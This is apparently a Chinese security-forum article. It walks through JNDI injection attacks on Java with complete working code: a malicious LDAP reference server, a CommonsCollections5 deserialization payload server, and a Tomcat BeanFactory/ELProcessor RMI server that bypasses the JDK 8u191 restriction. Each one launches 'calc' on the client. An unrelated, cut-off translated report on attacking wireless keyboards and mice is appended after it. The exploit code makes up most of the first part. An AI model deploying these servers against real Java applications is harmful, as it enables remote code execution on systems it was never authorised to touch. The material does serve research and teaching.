Reference远程加载`Factory`类进行了限制，在`JDK 11.0.1`、`8u191`、`7u201`、`6u211`之后
`com.sun.jndi.ldap.object.trustURLCodebase`属性的值默认为`false`，对应的CVE编号为：`CVE-2018-3149`
起一个LDAP服务，代码改自`marshalsec`
package demo;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
服务端需要添加如下依赖：
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
调用栈
getObjectFactoryFromReference:142, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
其调用和RMI差不多，只不过LDAP前面多几步加载上下文的调用，其核心还是通过`Reference`加载远程的`Factory`类，最终调用也是RMI一样`javax.naming.spi.NamingManager#getObjectFactoryFromReference`
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
该利用方法在`JDK 11.0.1`、`8u191`、`7u201`、`6u211`中也进行了修复，
`com.sun.jndi.ldap.object.trustURLCodebase`属性的值默认为`false`
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);
如果`trustURLCodebase`为false则直接返回`null`
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
## JDK >= 8u191
关于`JDK >= 8u191`的利用目前公开有两种绕过的方法，这里测试的JDK版本为`JDK 8u202`
### 通过反序列
通过反序列，那么前提是客户端得有可用的`Gadgets`
服务端参考`marshalsec.jndi.LDAPRefServer`，简单修改一下即可，这里使用的`Gadget`是`CommonsCollections5`
package demo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc");
}
}
调用栈如下：
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
跟进`com.sun.jndi.ldap.Obj#decodeObject`
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
此处`(var1 = var0.get(JAVA_ATTRIBUTES[1])) !=
null`判断`JAVA_ATTRIBUTES[1]`是否为空，如果不为空则进入`deserializeObject`进行反序列操作
其中`JAVA_ATTRIBUTES`在`com.sun.jndi.ldap.Obj`中定义为
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
`JAVA_ATTRIBUTES[1]`为`javaSerializedData`，所以我们可以LDAP修改`javaSerializedData`为我们的恶意序列化数据，然后客户端进行反序列化进而到达RCE。
跟进`com.sun.jndi.ldap.Obj#deserializeObject`，可以看到`var5 =
((ObjectInputStream)var20).readObject();`此处对`var20`（也就是从`javaSerializedData`中读取的序列化数据）进行了反序列化
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
服务端代码可以参考`marshalsec`，然后添加对应属性`javaSerializedData`为我们的Gadgets序列化的数据即可
e.addAttribute("javaSerializedData", GadgetsData);
### 通过加载本地类
我们上面说过在`JDK
11.0.1、8u191、7u201、6u211之后`之后`com.sun.jndi.ldap.object.trustURLCodebase`
属性的默认值为`false`，我们就不能再从远程的`Codebase`加载恶意的`Factory`类了，但是如果我们利用的类是存在于`CLASSPATH`中的话，那么我们依旧可以利用，我们上面讲过`javax.naming.spi.NamingManager#getObjectFactoryFromReference`是先从本地的`CLASSPATH`寻找是否存在该类，如果没有则再从指定`Codebase`远程加载。
需要注意的，该工厂类型必须实现`javax.naming.spi.ObjectFactory`
接口，因为在`javax.naming.spi.NamingManager#getObjectFactoryFromReference`最后的`return`语句对工厂类的实例对象进行了类型转换`return
(clas != null) ? (ObjectFactory) clas.newInstance() : null;`；并且该工厂类至少存在一个
`getObjectInstance()`
方法。[这篇文章](\[https://www.veracode.com/blog/research/exploiting-jndi-injections-java\]\(https://www.veracode.com/blog/research/exploiting-jndi-injections-java))的作者找到可利用的类为：`org.apache.naming.factory.BeanFactory`，并且该类存在于Tomcat依赖包中，所以利用范围还是比较广泛的。
添加如下依赖：
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
服务端代码参考自[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
}
}
调用栈：
getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (demo)
其它的调用和上面讲的一样，我们需要注意的是`javax.naming.spi.NamingManager#getObjectInstance`此处的调用，可以看到该方法中通过`getObjectFactoryFromReference`获取一个实例化的对象之后，还会调用`factory.getObjectInstance`，也就是说如果我们能从其它类中找到其它可以利用的`getObjectInstance`方法，那么我们就可以进行进一步的利用。
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
然后到了我们上面所说的可利用的类：`org.apache.naming.factory.BeanFactory`，该类存在`getObjectInstance`方法，如下
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
NamingException ne;
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;
for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}
Enumeration e = ref.getAll();
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
//省略部分代码
}
}
}
}
}
//省略部分代码
} else {
return null;
}
}
可以看到该方法中有反射的调用`method.invoke(bean,
valueArray);`并且反射所有参数均来自`Reference`，反射的类来自`Object bean =
beanClass.newInstance();`，这里是`ELProcessor`
然后就是调用的参数，以`=`号分割，`=`右边为调用的方法，这里为`javax.el.ELProcessor.eval`；`=`左边则是会通过作为`hashmap`的`key`，后续会通过key去获取`javax.el.ELProcessor.eval`。
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
其中eval的参数获取如下，可以看到它是通过嵌套多次`do
while`去枚举e中的元素，最后`while(propName.equals("singleton"))`此处`propName`为`x`，则退出循环，然后通过`value
=
(String)ra.getContent();`获取`eval`的参数，之后就是将ra的`addrType（propName）`的值作为key去获取之前存入的`javax.el.ELProcessor.eval`：`Method
method = (Method)forced.get(propName);`
Enumeration e = ref.getAll();
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
}
参数如下：
最终通过el注入实现RCE，反射执行的语句可以整理为如下：`(new
ELProcessor()).eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new
java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")");`
# Reference
<https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/>
<https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>
<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html>
<https://xz.aliyun.com/t/7264>
<https://xz.aliyun.com/t/6633>
<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
<https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface> | 社区文章 |
# 【技术分享】现代无线鼠标及键盘的安全性分析报告
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/42109.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
桌面无线设备通常由无线鼠标、无线键盘以及USB收发器所组成，在过去的几年中，桌面无线设备已经越来越受广大人民群众的喜爱。与有线设备相比，这类无线设备更容易引起不怀好意的人们的兴趣，原因在于攻击者可以通过无线信号，从安全的距离远程攻击这类设备。
攻击者可以通过攻击桌面无线设备，夺取计算机系统的控制权，也能收集诸如密码之类的敏感信息，因此过去人们经常分析这类设备的安全漏洞，也有成功突破这类设备的真实案例。利用无线键盘漏洞的一个非常著名的案例，就是Dreamlab
Technologies研发的开源无线键盘嗅探工具：KeyKeriki。KeyKeriki的首个版本于2009年推出，针对的是使用27MHz
ISM频段的微软无线键盘。第二个版本于2010年推出，支持使用2.4GHz ISM频段的无线键盘[1]。在2015年，Samy
Kamkar发布了一款基于Arduino的无线键盘嗅探器，针对的是存在已知安全漏洞的微软键盘，这个嗅探器拓展了KeyKeriki
v2.0项目[2]以及Travis Goodspeed关于Nordic
Semiconductor生产的nRF24系列产品的研究成果[3]。在2016年春季，MouseJack代表Bastille Networks
Internet Security公布了多个桌面无线设备厂商生产的USB收发器中存在的一系列安全漏洞，这些漏洞导致设备容易受到按键注入攻击影响[4]。
SySS
GmbH自2015年起启动了一个项目，开始研究使用AES加密算法的现代桌面无线设备的安全性，当时关于无线鼠标和键盘中的安全问题还没有公开可用的研究数据。到2016年5月为止，在我们的安全公告项目中已经发现并报告了许多厂商生产的现代桌面无线设备中存在的多个安全漏洞，这些厂商包括Microsoft、Cherry、Logitech、Fujitsu以及Perixx。
攻击者可以根据各自的目的，在不同攻击场景中利用已有的安全漏洞实施攻击。从一方面来讲，有些安全漏洞需要攻击者物理接触键盘或USB设备，比如，攻击者需要接触这些设备来提取后续攻击或者修改设备固件所需的加密密钥。从另一方面来讲，有些安全漏洞可以通过无线通信技术来远程利用，比如，设备使用了不完善的AES数据加密通信方案导致其容易受到重放攻击或者按键注入攻击影响。
我们的研究结果表明，不同厂商生产的现代桌面无线设备的安全等级并不相同，有些设备的安全程度比其他设备更高。此外，现实中并不存在没有任何安全问题的桌面无线设备。
我们会在本文中介绍这一方面的研究成果，也会介绍如何利用不同的安全漏洞，来攻击不同厂商生产的桌面无线设备。
**二、测试对象及使用的测试技术**
在整个研究项目中，我们分析了不同厂商的5个桌面无线设备，包括键盘、鼠标以及USB收发器。这3类设备都包含无线收发单元以进行无线通信。图1展示了我们的测试设备之一：Microsoft
Wireless Desktop 2000。
被测试的5个桌面无线设备分别为：
1、Microsoft Wireless Desktop 2000
2、Cherry AES B.UNLIMITED
3、Fujitsu Wireless Keyboard Set LX901
4、Logitech MK520
5、Perixx PERIDUO-710W
其中有4个设备使用了Nordic Semiconductor生产的低功耗2.4GHz nRF24收发器，1个设备使用了Cypress
生产的低功耗2.4GHz收发器以及低电压版的微控制器（CY7C60123-PVXC）。被测试的无线键盘以及USB设备所用的收发器或SoC（system on
chip，片上系统）信息如表2所示。由于被测试的设备大多都使用了nRF24收发器，因此我们的研究重点也集中在这一点上。
为了分析设备所使用的无线通信，也为了向无线设备组件发送无线信号，我们使用了软件定义的无线电（如HackRF One[5]和USRP
B200[6]）以及基于nRF24的USB无线电设备（Crazyradio PA[7]）。
我们最开始使用的是Crazyradio
PA以及Bastille发布的nRF研究固件[8]，在2016年2月MouseJack发布之后，我们开发了对应的Python工具，因为这个工具集的优先级高于当时我们所使用的工具，感谢Marc
Newlin的研究成果。
桌面无线设备的常用功能如图2所示，其中键盘及鼠标都会向插入计算机的USB收发器发送无线信号（带有按键信息或者鼠标动作的数据包）。如图所示，这种无线通信是双向的，因为USB收发器会对它所收到的数据包进行确认及反馈。
**三、测试方法**
对于被测试的桌面无线设备，我们使用以下三个步骤对其进行分析：
1、硬件分析
2、固件分析
3、无线信号分析
在硬件分析方面，我们打开了键盘、鼠标以及USB收发器的外壳，对设备的PCB板（printed circuit
board，打印电路板）进行观察，标记出对设备功能起到关键作用的芯片，如无线传输器、接收器或者收发器。之后，我们详细阅读了相关芯片的文档，查找可以测试的触点，比如串行外设接口（serial
peripheral interface，SPI）。
如图3和图4所示，nRF24LE1收发器存在一个SPI接口。
对于基于nRF24的设备，如果所使用的芯片配置允许的话，设备可以使用SPI接口来读取和写入内部闪存。
微软的某个无线键盘的PCB板背面如图5所示，其中4个SPI焊点都打上了准确的标记（FMISO、FMOSI、FCSN以及FSCK），这可以给我们节省许多时间（已禁用回读保护机制）。
在识别出被测试键盘及USB设备的SPI接口后，我们将某些线路焊接到已识别的触点或SoC引脚上，尝试导出设备固件以便进一步分析。为了完成这一任务，我们使用了Bus
Pirate[9]以及nrfprog软件[10]。对Cherry无线键盘SPI接口的读写方式如图6所示。
对被测试的某些USB设备而言（如Cherry的某个USB设备），SPI接口在使用上有些难度，因为这类设备的PCB板上缺少SPI测试触点，并且所使用的nRF24LU1+的尺寸也比较小，如图7所示。感谢我们的同事Alexander
Straßheim伸出援手，我们终于可以通过USB设备的SPI接口测试对设备闪存的读写访问。
在成功读取被测试的某些设备的固件后，我们可以使用逆向工程方法对导出的设备固件进行分析，这类逆向方法包括使用IDA Pro进行静态代码分析[11]。nRF24
SoC拥有一个8051兼容的微控制器，可以在Nordic
Semiconductor生产的nRF24LE产品说明书[12]中找到详细的说明。我们也仔细研读了Nordic Semiconductor在nRF24
SDK[13]中提供的示例代码，这些示例代码非常有用，可以理解基于nRF24的设备是如何被编程的，以及开发者可以使用哪些库。
在IDA Pro中，对Cherry的加密函数hal_aes_crypt的反汇编代码如图8所示。
为了进一步了解nRF24 SoC，我们不仅阅读了SDK中公开的代码，同样也编写并分析了自己的示例代码，如实现memcpy功能的固件代码（如清单3.1所示）。
1 /* Really simple memory copy firmware */
2
3 #include <Nordicreg24le1.h>
4 #include <hal_flash.h>
5
6 #define LENGTH 512
7
8 // data buffer
9 static uint8_t xdata buffer[LENGTH];
10
11 // Main routine
12 void main()
13 {
14 uint16_t src_addr = 0xFA00; // start of extended endurance data in NV memory
15 uint16_t dest_addr = 0xFC00; // start of normal endurance data in NV memory
16 uint16_t len = LENGTH;
17
18 // erase normal endurance memory pages (34 and 35)
19 hal_flash_page_erase (34);
20 hal_flash_page_erase (35);
21
22 // read extended endurance data memory from 0xFA00 to buffer
23 hal_flash_bytes_read(src_addr , buffer , len);
24
25 // write buffer to to SPI -addressable NVM (normal endurance memory)
26 hal_flash_bytes_write(dest_addr , buffer , len);
27
28 // wait forever
29 while(1) {}
30 }
最后，我们也对无线设备的不同组件所使用的2.4GHz无线通信做了分析。首先，我们使用软件定义的无线电，结合开源的软件无线电（GNU
Radio）[14]以及修改版的NRF24-BTLE-Decoder软件[15]来完成这一任务。之后，我们又使用了基于nRF24的Crazyradio PA
USB设备，配合Bastille的nRF研究固件以及我们自研的Python脚本和工具来测试特定的目标设备。
为了分析基于nRF的键盘和USB设备所发送的增强型ShockBurst数据报文，我们使用了修改版的NRF24-BTLE-Decoder，对应的GRC（GNU
Radio Companion，又称GR小伙伴）流程图如图9所示。
带有AES加密载荷的Cherry无线键盘所产生的增强型ShockBurst数据报文如下所示：
1 $ cat /tmp/fifo | ./nrf24-decoder -d 1
2 nrf24-decoder, decode NRF24L01+ v0.1
3
4 (...)
5 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
6 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
7 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
8 (...)
9 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
10 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
11 Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388
12 (...)
使用Crazyradio PA对nRF24无线通信进行分析应该是一种最简单同时也是最可靠的方法。
**四、攻击面以及攻击场景**
针对被测试的桌面无线设备，我们设计了两种攻击场景，一种场景是攻击者对无线设备拥有不受限制的物理访问权限，另一种场景是攻击者只能通过无线信号对无线设备进行攻击。
在第一种场景中，可用的攻击面主要为SoC上引脚的排列组合。在第二种场景中，攻击面仅包含无线通信。
在这两种攻击场景中，特定的安全威胁可能存在不同的攻击形式。在研究项目中，我们感兴趣的几个攻击点如下所示：
1、可以物理接触桌面无线设备时：
（1）提取固件
（2）篡改固件
（3）提取加密密钥
（4）篡改加密密钥
2、通过无线信号攻击桌面无线设备时：
（1）攻击未经加密和授权的无线通信
（2）重放攻击
（3）按键注入攻击
（4）解密经过加密的通信数据
**五、安全漏洞**
